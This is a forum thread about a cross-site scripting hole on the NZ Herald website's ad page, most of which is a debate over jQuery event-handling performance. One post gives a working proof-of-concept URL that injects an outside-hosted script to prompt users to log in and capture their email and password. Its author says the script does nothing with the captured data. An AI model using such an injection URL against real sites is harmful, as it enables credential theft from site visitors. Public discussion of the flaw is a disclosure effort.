NZ Herald XSS vulnerability

Forums › IT Pro and developers › NZ Herald XSS vulnerability

freitasm

BDFL - Memuneh
79297 posts

Uber Geek

Administrator

ID Verified

Trusted

Geekzone

Lifetime subscriber

#111850 16-Nov-2012 17:39

Just saw from a tweet that NZ Herald is vulnerable to a XSS attack. Example here.

The thing is, the vulnerability was disclosed almost thirteen months ago. Note that all the examples in that blog post are now fixed. Which means that obviously APN has not updated their ad platform in the last year or so.

The demonstration is funny and harmless, but in the Real Bad World (TM) an attacker could inject any javascript code and post the URL as a short version, which would hide the malicious link.

1 | 2

151 posts

Master Geek

#718508 16-Nov-2012 21:33

Something like this?

http://bit.ly/TN4SUr (http://www.nzherald.co.nz/eyewonder/interim.html?src=http://nikrolls.com/xss/userpass.js)

This script triggers a click event on the Login box to prompt the user to log in, and then attaches a callback to the Login button's click event. From this it can detect the user's email address and password and send them to back to the malicious server.

You can check out the script to be sure it's not actually doing anything with the info you type in :)

Savvy users will probably just click away from the login box, but lay-users will likely think they have to login to view the page, and will do so if they already have an account.

zerkms

124 posts

Master Geek

#718544 16-Nov-2012 23:13

You can check out the script to be sure it's not actually doing anything with the info you type in :)

1. `$.on()` would be better than ugly setInterval() solution
2. It would be much easier to attach to a #btn-login in login form, and not to rely on another setTimeout()

Generally, if you rely on setInterval() or setTimeout() - that means you're likely doing something wrong ;-)

freitasm

BDFL - Memuneh
79297 posts

Uber Geek

Administrator

ID Verified

Trusted

Geekzone

Lifetime subscriber

#718565 17-Nov-2012 00:06

"Performance can be increased by reducing the amount of work done in the handler itself, caching information needed by the handler rather than recalculating it, or by rate-limiting the number of actual page updates using setTimeout."

Reference.

nikrolls

151 posts

Master Geek

#718610 17-Nov-2012 08:35

zerkms:

You can check out the script to be sure it's not actually doing anything with the info you type in :)

1. `$.on()` would be better than ugly setInterval() solution
2. It would be much easier to attach to a #btn-login in login form, and not to rely on another setTimeout()

Generally, if you rely on setInterval() or setTimeout() - that means you're likely doing something wrong ;-)

Firstly, let's look at the context – this is a quick-hack XSS exploit written to show what can be done. It's not a JavaScript essay :-). I agree that setInterval and setTimeout are not preferred – I build websites for a living.

Secondly, my reasoning for using an 'ugly' solution:

I'm trying to fire a click event on the Login link, not bind an event to it. NZ Herald adds the Login link after one of their Ajax requests, which can take 1 second or 10 seconds depending on your connection, and there is no event fired when it's added so the only safe way to detect when it's available is to continue polling until it shows up. I started with a setTimeout instead but sometimes it fired too quickly meaning the form didn't show.

There is another setTimeout because the Login form is added to the page after the Login link is clicked (and therefore after my script has completed), so I can't bind to it Login button right away. = Again, there is no event fired to tell me that the form has been added, however because it's almost instant it's easier and more efficient to use setTimeout than another fast-poll setInterval, and it's going to take at least 3 seconds for someone to fill out the form. Yes, $.on() would have worked, but if we're talking performance here $.on() is the slowest handler to resolve because it has to cross-reference the original event with the selectors provided.

zerkms

124 posts

Master Geek

#718648 17-Nov-2012 10:11

Yes, $.on() would have worked, but if we're talking performance here $.on() is the slowest handler to resolve because it has to cross-reference the original event with the selectors provided.

It's just nonsense ;-) For example `.click()` handler internally is based on `$.on()` (see jquery sources: https://github.com/jquery/jquery/blob/master/src/event.js#L964). So, setInterval + setTimeout + .click (which is `$.on()` + some other code) cannot be "more efficient" than a single $.on. By definition.

So, as I said, setTimeout() or setInterval() instead of $.on() is a sign that you're doing something wrong.

I'm trying to fire a click event on the Login link, not bind an event to it. NZ Herald adds the Login link after one of their Ajax requests, which can take 1 second or 10 seconds depending on your connection

so what? It can take even 42 days - `$.on()` solution would still work.

There is another setTimeout because the Login form is added to the page after the Login link is clicked (and therefore after my script has completed), so I can't bind to it Login button right away

You can. http://api.jquery.com/on/ -- see examples in the end of the page

ps: just checked - delegation in this case may be not the most convenient solution, because NZHerald use inline onclick

freitasm

BDFL - Memuneh
79297 posts

Uber Geek

Administrator

ID Verified

Trusted

Geekzone

Lifetime subscriber

#718663 17-Nov-2012 11:10

ROFL. Love the 42 reference.

zerkms

124 posts

Master Geek

#718666 17-Nov-2012 11:14

Well, spent another 10 minutes and here are the results:

1. Because of nzherald developers are from XIX century and use inline onclick handler - it may not be implemented with a single $.on
2. It still can be implemented with $.on + .click() without relying on intervals/timers at all (which is VERY important, because this solution would work in 100% cases and won't depend on anything but browser events)
3. Sorry if I sounded rude, probably that was caused by working with other people's code who relies on the timers other than on DOM events (thus code is a spaghetti which is difficult to maintain and debug)

Quic Broadband

Move to New Zealand's best fibre broadband service (affiliate link). Free setup code: R587125ERQ6VE. Note that to use Quic Broadband you must be comfortable with configuring your own router.

nikrolls

151 posts

Master Geek

#718700 17-Nov-2012 11:49

Yes, $.on() would have worked, but if we're talking performance here $.on() is the slowest handler to resolve because it has to cross-reference the original event with the selectors provided.

It's just nonsense ;-) For example `.click()` handler internally is based on `$.on()` (see jquery sources: https://github.com/jquery/jquery/blob/master/src/event.js#L964). So, setInterval + setTimeout + .click (which is `$.on()` + some other code) cannot be "more efficient" than a single $.on. By definition.

Correct, but incorrect. $.on() behaves differently when given a selector (using plain $.on()) than when given none ($.click(), $.bind()). Here's a performance test for binding an event using the three methods:

http://jsperf.com/binding-using-click-vs-bind-vs-on

In Firefox $.on() is often faster, in Chrome it's often slower, and in IE it's fairly negligible. But the real difference is when you come to firing the events:

http://jsperf.com/click-vs-bind-vs-on

$.on() is consistently between 15-25% slower (usually over %20).

2. It still can be implemented with $.on + .click() without relying on intervals/timers at all (which is VERY important, because this solution would work in 100% cases and won't depend on anything but browser events)

Could you please post some code that shows how you can detect that a the login hyperlink has been added to the page, so you can then fire a manual 'click' event on it? This is not detecting a click event, it's detecting when an arbitrary piece of HTML has been changed. This solution needs to be cross-browser, and work on IE back to v7. If your solution is more reliable than an age-old interval here then I'm prepared to concede this point.

3. Sorry if I sounded rude, probably that was caused by working with other people's code who relies on the timers other than on DOM events (thus code is a spaghetti which is difficult to maintain and debug)

Completely understandable, I do a lot of clean-up in my work as well and have seen some shockers. However there was a reason for what I did.

Also, as I've stated, this was a quick hack to demonstrate how exploitable NZ Herald's XSS vulnerability is, not an essay. I'm not following the Three Great Virtues here.

zerkms

124 posts

Master Geek

#718716 17-Nov-2012 11:56

1. Your jsperf test is incorrect (because all your 3 code samples are not equivalent). This is a correct one: http://jsperf.com/binding-using-click-vs-bind-vs-on/2

> In Firefox $.on() is often faster

That's not entirely correct. For the same binding $.on is ALWAYS faster, just because `click` handler is implemented using $.on (see the link to the sources I gave above)

2. Because NZHerald developers wrote inline onclick you may do something like this:

$(document).on('mousemove', '#btn-login', function() {
// unbind from mousemove
// bind to a login button here (using $('#btn-login').on('click' ...);
});

You may also bind to a whole fancybox layer as well.

> This solution needs to be cross-browser, and work on IE back to v7. If your solution is more reliable than an age-old interval here then I'm prepared to concede.

Yes, it is

if they used proper events - you could use `click` here.

> Also, as I've stated, this was a quick hack to demonstrate how exploitable NZ Herald's XSS vulnerability is, not an essay. I'm not following the Three Great Virtues here.

Agree, it's some professional habit - to react on intervals :-)

nikrolls

151 posts

Master Geek

#718729 17-Nov-2012 12:20

This thread is starting to go off-topic, but anyway:

zerkms: 1. Your jsperf test is incorrect (because all your 3 code samples are not equivalent)

It was that way intentionally, because we're talking about binding an event to an element that doesn't exist yet. Sure, the mouse-move solution is elegant, except for all the masses of events being processed on document to see if the target element matches the id you've provided. Furthermore, the modifications you made on jsperf are not equivalent to the $(document).on() code you posted because the latter uses a selector, where the former one doesn't.

Furthermore, you changed the test that I said was negligible, not the one that actually showed consistent speed differences.

Lastly, I think you may be confused about what the interval is used for. It's there so I can detect when the Login link (not the login button) is added to the page (top-right). This is the link used to trigger the Login box popping up at all, and NZ Herald add it some time after an asynchronous request finishes; it's not there on doc-ready.

zerkms

124 posts

Master Geek

#718734 17-Nov-2012 12:31

nikrolls: This thread is starting to go off-topic, but anyway:

zerkms: 1. Your jsperf test is incorrect (because all your 3 code samples are not equivalent)
It was that way intentionally, because we're talking about binding an event to an element that doesn't exist yet. Sure, the mouse-move solution is elegant, except for all the masses of events being processed on document to see if the target element matches the id you've provided. Furthermore, the modifications you made on jsperf are not equivalent to the $(document).on() code you posted because the latter uses a selector, where the former one doesn't.

I understand that. The thing is - `.on()` would always work just once, and the setInterval may work, say, twice. So to be fair - the other solutions should be run several times, not once, because otherwise you **cannot** guarantee you have binded successfully. So I'm not sure it's possible to create a jsperf test page that completely simulates the case.

> except for all the masses of events being processed on document to see if the target element matches the id you've provided
Valid point (though match by id is extremely optimized by browser)

Lastly, I think you may be confused about what the interval is used for. It's there so I can detect when the Login link (not the login button) is added to the page (top-right). This is the link used to trigger the Login box popping up at all, and NZ Herald add it some time after an asynchronous request finishes; it's not there on doc-ready.

I understand that :-) And as I said before - it's an antipattern - your logic should rely on browser events, not on intervals.

PS: I admit your code may be used as a proof of concept for the XSS, my point is that for production the same solution would be absolutely unacceptable (since it is too tricky, difficult to debug and doesn't guarantee its work). So - peace? ;-)

gzt

17149 posts

Uber Geek

Lifetime subscriber

#718744 17-Nov-2012 13:13

[Edit: Removed my comment because it was off topic and came across as a bit of a troll unintentionally]

zerkms

124 posts

Master Geek

#718746 17-Nov-2012 13:16

gzt:
zerkms: code may be used as a proof of concept for the XSS, my point is that for production the same solution would be absolutely unacceptable (since it is too tricky, difficult to debug and doesn't guarantee its work).

Lol. Typical malware in other words ; ).

I actually meant "normal" projects production, not evil ))

nikrolls

151 posts

Master Geek

#718763 17-Nov-2012 14:12

zerkms: I understand that :-) And as I said before - it's an antipattern - your logic should rely on browser events, not on intervals.

Absolutely agree. As always I started with best-practice. What you're seeing is the end result, once I realised that there was no other fool-proof way to do it as there are no events to tie into to achieve the same result.

freitasm

BDFL - Memuneh
79297 posts

Uber Geek

Administrator

ID Verified

Trusted

Geekzone

Lifetime subscriber

#720049 20-Nov-2012 12:56

Back on topic, this is still happening on NZ Herald. Not sure they realise how dangerous this can be.

1 | 2